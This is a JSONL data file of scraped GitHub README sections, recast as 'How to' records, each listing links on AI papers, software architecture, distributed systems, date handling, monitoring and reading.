{"id": "gh_735d92b91377", "question": "How to: Reports&Papers", "question_body": "About superiorlu/AITreasureBox", "answer": "|\nNo.\n|\nReport&Paper\n|\nDescription\n|\n|:---- |:-------------------------------------------------------------------------------------------------------------- |:---------------------------------------------------- |\n| 1    | [GPT-4 Technical Report](https://cdn.openai.com/papers/gpt-4.pdf)         | GPT-4 Technical Report                              |\n| 2    | [mli/paper-reading](https://github.com/mli/paper-reading)                 | Deep learning classics and new papers are read carefully paragraph by paragraph.                        |\n| 3   | [labmlai/annotated_deep_learning_paper_implementations](https://github.com/labmlai/annotated_deep_learning_paper_implementations)| A collection of simple PyTorch implementations of neural networks and related algorithms, which are documented with explanations |\n| 4    | [Visual ChatGPT: Talking, Drawing and Editing with Visual Foundation Models](https://arxiv.org/pdf/2303.04671.pdf) | Talking, Drawing and Editing with Visual Foundation Models |\n| 5    |       [OpenAI Research ](https://openai.com/research)                                     |                          The latest research report and papers from OpenAI                       |\n| 6    | [Make-A-Video: Text-to-Video Generation without Text-Video Data](https://arxiv.org/pdf/2209.14792.pdf)|Meta's Text-to-Video Generation|\n| 7    | [eDiff-I: Text-to-Image Diffusion Models with Ensemble of Expert Denoisers](https://arxiv.org/pdf/2211.01324.pdf)| Nvidia eDiff-I - New generation of generative AI content creation tool |\n| 8    | [Training an Assistant-style Chatbot with Large Scale Data Distillation from GPT-3.5-Turbo ](https://s3.amazonaws.com/static.nomic.ai/gpt4all/2023_GPT4All_Technical_Report.pdf)| 2023 GPT4All Technical Report |\n| 9    | [Segment Anything](https://arxiv.org/abs/2304.02643)| Meta Segment Anything |\n| 10   | [LLaMA: Open and Efficient Foundation Language Models](https://arxiv.org/abs/2302.13971)| LLaMA: a collection of foundation language models ranging from 7B to 65B parameters|\n|  11  | [papers-we-love/papers-we-love](https://github.com/papers-we-love/papers-we-love) |Papers from the computer science community to read and discuss|\n|  12  | [CVPR 2023 papers](https://github.com/SkalskiP/top-cvpr-2023-papers) |The most exciting and influential CVPR 2023 papers|\n[\nBack to Top\n]", "tags": ["superiorlu"], "source": "github_gists", "category": "superiorlu", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 739, "answer_score": 10, "has_code": true, "url": "https://github.com/superiorlu/AITreasureBox", "collected_at": "2026-01-17T12:56:42.888325"}
{"id": "gh_d115d774d1f5", "question": "How to: 객체지향 프로그래밍", "question_body": "About JoMingyu/Lets-Study", "answer": "- [객체지향 개발 5대 원리: SOLID](http://www.nextree.co.kr/p6960/)\n- [Parametric Polymorphism](https://rosettacode.org/wiki/Parametric_polymorphism)\n- [정적 팩토리 메서드(Static Factory Method)는 왜 사용할까?](https://tecoble.techcourse.co.kr/post/2020-05-26-static-factory-method/)\n- [Anti-OOP : if 를 피하고 싶어서](https://redutan.github.io/2016/03/31/anti-oop-if)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828210"}
{"id": "gh_b1e360d98e4f", "question": "How to: Date & Time", "question_body": "About JoMingyu/Lets-Study", "answer": "- [ISO 8601](https://ko.wikipedia.org/wiki/ISO_8601)\n- [What's the difference between ISO 8601 and RFC 3339 Date Formats?](https://stackoverflow.com/questions/522251/whats-the-difference-between-iso-8601-and-rfc-3339-date-formats)\n- [Date는 어떻게 주고 받는게 바람직할까요?](https://blog.hoseung.me/2023-03-23-how-to-transfer-date/)\n- [협정 세계시(UTC)](https://ko.wikipedia.org/wiki/%ED%98%91%EC%A0%95_%EC%84%B8%EA%B3%84%EC%8B%9C)\n- [유닉스 시간](https://ko.wikipedia.org/wiki/%EC%9C%A0%EB%8B%89%EC%8A%A4_%EC%8B%9C%EA%B0%84)\n- [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones)\n- [DateTimeFormat(Joda-Time)](https://www.joda.org/joda-time/apidocs/org/joda/time/format/DateTimeFormat.html)\n- [Deep Dive into DateTime](https://kciter.so/posts/deep-dive-into-datetime)\n- [The 2038 Problem](https://www.codereliant.io/the-2038-problem/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828269"}
{"id": "gh_f9a71c51e6e0", "question": "How to: Identifier", "question_body": "About JoMingyu/Lets-Study", "answer": "- [What Is a UUID and How Are They Generated?](https://betterprogramming.pub/what-is-a-uuid-and-how-are-they-generated-17f0acbd7233)\n- [UUIDv7 in 33 languages](https://antonz.org/uuidv7/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828275"}
{"id": "gh_54c53ff4cb73", "question": "How to: Identifying", "question_body": "About JoMingyu/Lets-Study", "answer": "- [기획자가 알아두어야 할 CI, DI 개념 정리](https://yozm.wishket.com/magazine/detail/2488/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828280"}
{"id": "gh_eaf0b0e79be6", "question": "How to: Fundamental", "question_body": "About JoMingyu/Lets-Study", "answer": "- [똑똑하게 브라우저 Polyfill 관리하기](https://toss.tech/article/smart-polyfills)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828303"}
{"id": "gh_6e2cf68c2638", "question": "How to: Environment", "question_body": "About JoMingyu/Lets-Study", "answer": "- [프론트엔드 개발 환경 체크리스트 (2023)](https://blog.shiren.dev/2023-03-20/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828308"}
{"id": "gh_1f3e429fcaeb", "question": "How to: Useful Service", "question_body": "About JoMingyu/Lets-Study", "answer": "#### Nocode\n\n- [Webflow](https://webflow.com/)\n\n#### Hosting\n\n- [Surge](https://surge.sh/)\n- [Netlify](https://www.netlify.com/)\n- [Vercel](https://vercel.com/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828313"}
{"id": "gh_c93baa8ec88d", "question": "How to: Optimization", "question_body": "About JoMingyu/Lets-Study", "answer": "- [지연 시간 없이 웹폰트 서빙하기 - Feat. Safari & Edge functions](https://blog.banksalad.com/tech/font-preload-on-safari/)\n- [Optimize Time to First Byte](https://web.dev/optimize-ttfb/)\n- [FE 성능개선기 1부: 주문하기](https://tech.kakao.com/2023/06/13/fe-performance-improvement-1/)\n- [FE 성능개선기 2부: 카카오 비즈니스폼](https://tech.kakao.com/2023/06/13/fe-performance-improvement-2/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828319"}
{"id": "gh_e6807b65e5a9", "question": "How to: TypeScript", "question_body": "About JoMingyu/Lets-Study", "answer": "- [우리(Reddit)가 Typescript를 선택한 이유](https://medium.com/@constell99/%EC%9A%B0%EB%A6%AC%EA%B0%80-typescript%EB%A5%BC-%EC%84%A0%ED%83%9D%ED%95%9C-%EC%9D%B4%EC%9C%A0-b0a423654f1e)\n- [Conditional types in Typescript](https://artsy.github.io/blog/2018/11/21/conditional-types-in-typescript/)\n- [WebStorm 대신 VSCode 로 TypeScript 테스트와 디버깅 해보기 (with Jest)](https://medium.com/zigbang/webstorm-%EB%8C%80%EC%8B%A0-vscode-%EB%A1%9C-typescript-%ED%85%8C%EC%8A%A4%ED%8A%B8%EC%99%80-%EB%94%94%EB%B2%84%EA%B9%85-%ED%95%B4%EB%B3%B4%EA%B8%B0-with-jest-9ba01925e6ba)\n- [Announcing TypeScript 5.0](https://devblogs.microsoft.com/typescript/announcing-typescript-5-0/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828328"}
{"id": "gh_537f01fa41f2", "question": "How to: Architecture", "question_body": "About JoMingyu/Lets-Study", "answer": "- [[야생의 땅: 듀랑고] SPOF 없는 분산 MMORPG 서버](https://www.slideshare.net/sublee/spof-mmorpg)\n- [[야생의 땅: 듀랑고] 서버 아키텍처 Vol. 2 (자막)](https://www.slideshare.net/sublee/lt-vol-2)\n- [DEVIEW 2016 참가 신청 기능 개발기](https://d2.naver.com/helloworld/5048491)\n- [타다 시스템 아키텍처](http://engineering.vcnc.co.kr/2019/01/tada-system-architecture/?fbclid=IwAR1TJy9RpUzM-iR0QZoF0W1pMNjCoZDDvs0tVf21uv01eCX59ulTI0QBT-8)\n- [전 세계 팬들이 모일 수 있는 플랫폼 만들기](https://www.slideshare.net/awskr/ss-223007438)\n- [The Architecture Behind A One-Person Tech Startup](https://anthonynsimon.com/blog/one-man-saas-architecture/)\n- [가상 면접 사례로 배우는 대규모 시스템 설계 기초 정리](https://github.com/cracking-interview/be-system-interview)\n- [Serverless Architecture](https://www.slideshare.net/awskr/serverless-architecture-78022209)\n- [서버리스 아키텍쳐(Serverless)란?](https://velopert.com/3543)\n- [Ticket Servers: Distributed Unique Primary Keys on the Cheap](https://code.flickr.net/2010/02/08/ticket-servers-distributed-unique-primary-keys-on-the-cheap/)\n- [CDC 너두 할 수 있어(feat. B2B 알림 서비스에 Kafka CDC 적용하기)](https://techblog.woowahan.com/10000/)\n- [Real-time Messaging - Slack Engineering](https://slack.engineering/real-time-messaging/)\n- [Startup Infrastructure: Scaling from Zero to Enterprise](https://vadimkravcenko.com/shorts/infrastructure-from-zero-to-enterprise/)\n\n#### Rate Limiting\n\n- [Visualizing algorithms for rate limiting](https://smudge.ai/blog/ratelimit-algorithms)\n\n#### Troubleshooting\n\n- [The Case of the Mysterious AWS ELB 504 Errors](https://sigopt.com/blog/the-case-of-the-mysterious-aws-elb-504-errors/)\n- [AWS Timeouts: A Detective Story](https://dzone.com/articles/aws-elastic-beanstalk-timeouts-a-detective-story)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828337"}
{"id": "gh_cd8ae9ba9792", "question": "How to: System Design", "question_body": "About JoMingyu/Lets-Study", "answer": "- [System Design Interview: Scalable Unique ID Generator (Twitter Snowflake or a similar service)](https://medium.com/double-pointer/system-design-interview-scalable-unique-id-generator-twitter-snowflake-or-a-similar-service-18af22d74343)\n- [System Design: Design a Geo-Spatial index for real-time location search](https://kousiknath.medium.com/system-design-design-a-geo-spatial-index-for-real-time-location-search-10968fe62b9c)\n- [System Design Primer](https://github.com/donnemartin/system-design-primer)\n- [ByteByteGoHq/system-design-101](https://github.com/ByteByteGoHq/system-design-101)\n- [ByteByteGo](https://www.youtube.com/@ByteByteGo/videos)\n\n#### Rate Limiting\n\n- [Visualizing algorithms for rate limiting](https://smudge.ai/blog/ratelimit-algorithms)\n\n#### Microservice\n\n- [Circuit breaker 패턴을 이용한 장애에 강한 MSA 서비스 구현하기](https://bcho.tistory.com/1247)\n- [Python 기반 대규모 마이크로 서비스에서 Circuit Breaker 도입의 여정](https://techblog.yogiyo.co.kr/%ED%8C%8C%EC%9D%B4%EC%8D%AC-%EA%B8%B0%EB%B0%98%EC%9D%98-%EB%8C%80%EA%B7%9C%EB%AA%A8-%EB%A7%88%EC%9D%B4%ED%81%AC%EB%A1%9C-%EC%84%9C%EB%B9%84%EC%8A%A4%EC%97%90%EC%84%9C-circuit-breaker-%EB%8F%84%EC%9E%85-%EC%97%AC%EC%A0%95-b694d83cbf48)\n- [5 Microservices Design Patterns Every DevOps Team Should Know](https://devops.com/5-microservices-design-patterns-every-devops-team-should-know/)\n\n#### Data Pipeline\n\n- [전사 구성원들이 사용하는 배치 데이터 플랫폼 만들기 - Airflow Advanced](https://tech.socarcorp.kr/data/2022/11/09/advanced-airflow-for-databiz.html)\n- [컬리의 BigQuery 도입기 - 1부](https://helloworld.kurly.com/blog/bigquery-1/)\n\n#### Message Queue\n\n- [AWS SQS와 Lambda 동시성의 밀당 (Set Visibility Timeout)](https://medium.com/zigbang/aws-sqs%EC%99%80-lambda-%EB%8F%99%EC%8B%9C%#EC%84%B1%EC%9D%98-%EB%B0%80%EB%8B%B9-set-visibility-timeout-2e8f630b0159)\n- [Choose Postgres queue technology](https://adriano.fyi/posts/2023-09-24-choose-postgres-queue-technology/)\n\n#### Realtime Multiplay\n\n- [How Figma’s multiplayer technology works](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/)\n- [An Interactive Intro to CRDTs](https://jakelazaroff.com/words/an-interactive-intro-to-crdts/)\n- [Ready Player Two](https://rocicorp.dev/blog/ready-player-two)\n\n#### Distributed System\n\n- [awesome-distributed-systems](https://github.com/theanalyst/awesome-distributed-systems)\n\n##### Multi-Region\n\n- [Active-Active for Multi-Regional Resiliency](https://netflixtechblog.com/active-active-for-multi-regional-resiliency-c47719f6685b)\n\n##### Partitioning Strategies\n\n###### Consistent Hashing\n\n- [Consistent hashing](https://www.joinc.co.kr/w/man/12/hash/consistent)\n- [Everything You Need to Know About Consistent Hashing](https://newsletter.systemdesign.one/p/what-is-consistent-hashing)\n\n##### Consistency Model\n\n###### CAP Theorem\n\n- [CAP and PACELC : the basic theorem of distributed database system](https://speakerdeck.com/buzzvil/cap-and-pacelc-the-basic-theorem-of-distributed-database-system)\n- [CAP Theorem for System Design Interviews](https://medium.com/double-pointer/cap-theorem-for-system-design-interviews-698216f7af6f)\n- [CAP Twelve Years Later - How the \"Rules\" Have Changed By Eric Brewer](https://johngrib.github.io/wiki/clipping/eric-brewer/cap-twelve-years-later)\n\n###### Vector Clock\n\n- [[Amazon Dynamo] Vector Clock와 Quorum vote 기본 개념](https://darkstart.tistory.com/144)\n\n##### Consensus Protocols\n\n###### Paxos\n\n- [Paxos Made Simple](https://johngrib.github.io/wiki/clipping/leslie-lamport/paxos-made-simple/)\n\n###### Gossip\n\n- [Gossip Protocol](https://systemdesign.one/gossip-protocol/)\n\n###### Raft\n\n##### ID Generation\n\n- [Announcing Snowflake by Twitter](https://blog.twitter.com/engineering/en_us/a/2010/announcing-snowflake)\n\n##### Distrubted DB\n\n###### ScyllaDB\n\n- [ScyllaDB 기본 이론 맛보기 - NoSQL과 ScyllaDB](https://sabarada.tistory.com/230)\n- [[Scylla] 세상에서 가장 빠른 NoSQL의 Architecture](https://blog.whitekiwi.link/scylla-%EC%84%B8%EC%83%81%EC%97%90%EC%84%9C-%EA%B0%80%EC%9E%A5-%EB%B9%A0%EB%A5%B8-nosql%EC%9D%98-architecture-67fff59dccdf)\n- [ScyllaDB University](https://university.scylladb.com/)\n\n###### CockroachDB\n\n- [CTO가 커리어를 걸고 비트 레벨까지 내려가서 DB를 해킹했던 이야기](https://tech.devsisters.com/posts/bit-level-database-hacking/)\n- [CockroachDB in Production](https://tech.devsisters.com/posts/cockroachdb-in-production/)\n\n###### Vitess\n\n- [Vitess. CNCF Study in NaverLabs](https://medium.com/@goinhacker/vitess-e423634ff978)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828355"}
{"id": "gh_3f196267626c", "question": "How to: Postmortem", "question_body": "About JoMingyu/Lets-Study", "answer": "- [2022년 1월 100% 할인 이벤트 장애 부검](https://tech.inflab.com/202201-event-postmortem/)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828361"}
{"id": "gh_80fc0d8c9bc3", "question": "How to: Monitoring", "question_body": "About JoMingyu/Lets-Study", "answer": "#### SaaS\n\n- [runscope](https://www.runscope.com)\n- [statuspage.io](https://www.statuspage.io/)\n\n#### Stacks\n\n##### ELK\n\n- [The Complete Guide to the ELK Stack - 2018](https://logz.io/learn/complete-guide-elk-stack/#intro)\n- [How To Install The ELK Stack - 2021](https://logit.io/blog/post/elk-stack-guide)\n\n##### TICK\n\n- [Time Series Database and Tick Stack](https://www.slideshare.net/GianlucaArbezzano/time-series-database-and-tick-stack)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828378"}
{"id": "gh_7b71e953d63f", "question": "How to: Newral Networks", "question_body": "About JoMingyu/Lets-Study", "answer": "- [Deconvolution and Checkerboard Artifacts](https://distill.pub/2016/deconv-checkerboard/)\n- [Neural Networks: Zero to Hero](https://karpathy.ai/zero-to-hero.html)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828413"}
{"id": "gh_a69e0ecd23d7", "question": "How to: Professional", "question_body": "About JoMingyu/Lets-Study", "answer": "- [스포츠를 통해 배운 프로처럼 일하는 방법](https://novemberde.github.io/post/2022/12/13/professional-player/)\n- [상위 1% 엔지니어의 7가지 간단한 습관](https://news.hada.io/topic?id=11362)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828427"}
{"id": "gh_a4bb86a4c6f2", "question": "How to: Web Frontend", "question_body": "About JoMingyu/Lets-Study", "answer": "- [velog-client](https://github.com/velopert/velog-client)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828433"}
{"id": "gh_e236929b65f0", "question": "How to: Whole Service", "question_body": "About JoMingyu/Lets-Study", "answer": "- [Corona Warn App](https://github.com/corona-warn-app)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828437"}
{"id": "gh_c290fb22302c", "question": "How to: Re-engagement", "question_body": "About JoMingyu/Lets-Study", "answer": "- [Re-Engagement](https://www.adjust.com/glossary/re-engagement/)\n- [Retargeting](https://retargeter.com/what-is-retargeting-and-how-does-it-work/)\n- [What is the difference between re-engagement and re-targeting?](https://quantmar.com/61/What-is-the-difference-between-re-engagement-and-targeting)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828452"}
{"id": "gh_df3794f06c35", "question": "How to: Management", "question_body": "About JoMingyu/Lets-Study", "answer": "- [실리콘밸리PM 무엇이든 물어보세요!](https://www.notion.so/PM-fe42daa7b9be4ef0ba914928953453b9)", "tags": ["JoMingyu"], "source": "github_gists", "category": "JoMingyu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 653, "answer_score": 10, "has_code": false, "url": "https://github.com/JoMingyu/Lets-Study", "collected_at": "2026-01-17T12:56:45.828461"}
{"id": "gh_5ff2bef72c3d", "question": "How to: Bookmarks :bookmark:", "question_body": "About SansGuidon/bookmarks", "answer": "> A collection of [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) resources for geeks and software crafters :beer:\n\n- I spend a lot of time on internet, losing myself in lot of topics. I choose GitHub to list my findings and bookmarks in a central location for productivity, to avoid losing my findings, and also to share them with the world.\n\nContributions are more than welcome. Read the [contribution guidelines](CONTRIBUTING.md).\n\nby [**MorganGeek**](https://morgan.zoemp.be/)", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.676933"}
{"id": "gh_bdbdbd5e562a", "question": "How to: Anime :jp:", "question_body": "About SansGuidon/bookmarks", "answer": "* [anime-planet](http://www.anime-planet.com/) - one of the most complete manga and anime database for finding recommended content, or cataloging and reviewing your collection", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.676971"}
{"id": "gh_92555cd16ca9", "question": "How to: Architecture / Design / Patterns", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [High Scalability](http://highscalability.com/) - Building bigger, faster, more reliable websites\n* [Abduzeedo](http://abduzeedo.com/) - Design Inspirations\n* [Coding the Architecture](http://www.codingthearchitecture.com/) - news & [presentations](http://www.codingthearchitecture.com/presentations/) on software architecture\n\n> Learn\n* [David Alia](http://blog.octo.com/design-for-failure/) - [FR] :fr: Les Patterns des Grands du Web – Design for failure\n* [Mathieu Poignant](http://blog.octo.com/zero-downtime-deployment/) - [FR] :fr: Les Patterns des Géants du Web – Zero Downtime Deployment\n* [Benoit Lafontaine](http://blog.octo.com/continuous-deployment/) - [FR] :fr: Les Patterns des Grands du Web – Continuous Deployment\n* [Olivier Mallassi, Rudy Krol](http://blog.octo.com/devops/) - [FR] :fr: Les Patterns des Grands du Web – DevOps\n* [Don MacAskill](https://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/) - (2011) How SmugMug survived the Amazonpocalypse\n* [Krishnan Subramanian](https://www.cloudave.com/11973/designing-for-failure-some-key-facts/) - Designing For Failure: Some Key Facts\n* [Martin Fowler](https://www.martinfowler.com/bliki/MonolithFirst.html) - MonolithFirst\n* [Principles of Chaos Engineering](http://principlesofchaos.org/)\n* [Daniel Miessler](https://danielmiessler.com/blog/stop-being-proud-of-complexity/) - Stop Being Proud of Complexity\n* [Derek Greer](http://aspiringcraftsman.com/2008/01/03/art-of-separation-of-concerns/) - (2008) The Art of Separation of Concerns\n* [Marty Madrid](https://twitter.com/abt_programming/status/516018172072587264/photo/1) - (2014) [IMG] How to build an MVP (Minimum Viable Product)\n* [Christian Neumanns](https://www.codeproject.com/Articles/787668/Why-We-Should-Love-null) - (2014) Why We Should Love 'null' / + the Null Object Pattern\n* [Chris Wheeler](http://chriswheeler.blogspot.be/2005/05/my-favourite-smells.html) - (2005) My Favourite Smells / about primitive obsession\n* :star: [**The Twelve-Factor App**](https://12factor.net/) - is a methodology for building software-as-a-service apps of great quality\n* [Fred Hébert](https://ferd.ca/queues-don-t-fix-overload.html) - (2015) Queues Don't Fix Overload\n* [Fred Hébert](https://ferd.ca/lessons-learned-while-working-on-large-scale-server-software.html) - (2015) Lessons Learned while Working on Large-Scale Server Software\n* [StackExchange](https://stackexchange.com/performance) - Amazing presentation of Stack Exchange infrastructure. All about performance\n* [Adam Pittenger](https://medium.com/@apitt24/love-what-you-build-build-what-you-love-9cedbb05e32f) - Love what you build. Build what you love.\n* [R0ml](https://codewords.recurse.com/issues/one/why-are-objects-so-hard-to-debug) - Why are objects so hard to debug?\n* [John D. Cook](https://www.johndcook.com/blog/2008/02/18/what-to-make-flexible/) - (2008) What to make flexible // about art of good design\n* [Scott McCarty](http://rhelblog.redhat.com/2016/03/16/container-tidbits-when-should-i-break-my-application-into-multiple-containers/) - (2016) Container Tidbits: When Should I Break My Application into Multiple Containers?\n* [Umer Mansoor](https://codeahoy.com/2017/08/19/yagni-cargo-cult-and-overengineering-the-planes-wont-land-just-because-you-built-a-runway-in-your-backyard/) - (2017) YAGNI, Cargo Cult and Overengineering - the Planes Won't Land Just Because You Built a Runway in Your Backyard\n* [Tzvi Freeman](https://www.gamasutra.com/view/feature/3224/creating_a_great_design_document.php) - (1997) Creating A Great Design Document\n* [Brian Kelly](https://morethancoding.com/2013/03/12/ux-then-architecture-then-tools/) - (2013) UX, Then Architecture, Then Tools\n* [Brian Kelly](https://morethancoding.com/2012/10/24/the-web-apis-you-use-will-fail/) - (2012) The Web APIs You Use Will Fail\n* [Brian Kelly](https://www.datawire.io/using-fallacies-of-distributed-computing-to-build-resilient-microservices/) - Building Resilient Microservices from the Fallacies of Distributed Computing\n* [Queues](http://queues.io/) - Job queues, message queues and other queues listed and compared in one place\n* [Composition over inheritance](https://en.wikipedia.org/wiki/Composition_over_inheritance) - Choose Composition over inheritance\n* [dastergon/awesome-chaos-engineering](https://github.com/dastergon/awesome-chaos-engineering) - list of awesome Chaos Engineering resources\n* [Jonas Downey](https://m.signalvnoise.com/move-slowly-and-fix-things-e5a560fd928b) - (2017) Move Slowly and Fix Things | Ruminations on the heavy weight of software design\n* [Dan McKinley](https://speakerdeck.com/mcfunley/choose-boring-technology) - (2015) [Slides] Choose Boring Technology\n* [Ben Stopford](https://www.confluent.io/blog/data-dichotomy-rethinking-the-way-we-treat-data-and-services/) - (2016) The Data Dichotomy: Rethinking the Way We Treat Data and Services\n* [robinstickel/awesome-design-principles](https://github.com/robinstickel/awesome-design-principles) - A c", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677044"}
{"id": "gh_a7ac63fafc6c", "question": "How to: Books / Reading :books:", "question_body": "About SansGuidon/bookmarks", "answer": "* [fake o'reilly books on Google](https://www.google.co.il/search?tbm=isch&q=fake+o%27reilly+books&&cad=h) - [IMG] fake o'reilly books.\n* [Maggie Stiefvater](http://maggie-stiefvater.tumblr.com/post/166952028861/ive-decided-to-tell-you-guys-a-story-about) - a story about piracy by a book writer\n* [John Allspaw](http://www.kitchensoap.com/2017/03/06/book-suggestion-dialogue-the-art-of-thinking-together/) - (2017) Dialogue: The Art Of Thinking Together\n* [Andrew Hatch](https://medium.com/seek-blog/platform-engineering-why-we-dont-need-a-devops-team-e88c8b97cc4f) - (2017) Why We Don’t Need a DevOps Team | Rename your DevOps Team\n* [Austin Kleon](https://austinkleon.com/2018/08/30/reading-with-a-pencil/) - (2018) Reading with a pencil | Full ownership of a book only comes when you have made it a part of yourself, and the best way to make yourself a part of it — which comes to the same thing — is by writing in it.\n* [Farnam Street](https://fs.blog/reading/) - A Helpful Guide to Reading Better\n* [Nate Hoffelder](https://the-digital-reader.com/2015/02/21/how-to-download-your-kindle-notes-and-highlights-and-export-them/) - (2015) How to Download Your Kindle Notes and Highlights and Export Them\n* [Opentrackers.org](https://opentrackers.org/downloading-ebooks-textbooks/) - (2017) A guide to help people find ebooks & textbooks\n* [NDTV Gadgets360](https://gadgets.ndtv.com/internet/features/the-6-best-places-to-legally-download-ebooks-for-free-663886) - (2015)  The 6 Best Places to Legally Download Ebooks for Free\n* [Quora](https://www.quora.com/What-is-a-good-website-for-free-books) - What is a good website for free books?\n* [Jeff Atwood](https://blog.codinghorror.com/do-not-buy-this-book/) - (2007) Do Not Buy This Book\n* [Farnam Street](https://fs.blog/2017/10/how-to-remember-what-you-read/) - (2017) How to Remember What You Read\n* [Andy Matuschak](https://andymatuschak.org/books/) - (2019) Why books don’t work\n> Picture some serious non-fiction tomes. The Selfish Gene; Thinking, Fast and Slow; Guns, Germs, and Steel; etc. Have you ever had a book like this—one you’d read—come up in conversation, only to discover that you’d absorbed what amounts to a few sentences?\n* [Robert DiYanni](https://psyche.co/guides/how-to-gain-more-from-reading-by-taking-it-all-in-more-slowly) - (2021) How to gain more from your reading | There’s more to words than meets the eye. Deepen your appreciation of literature through the art of slow, attentive reading", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677073"}
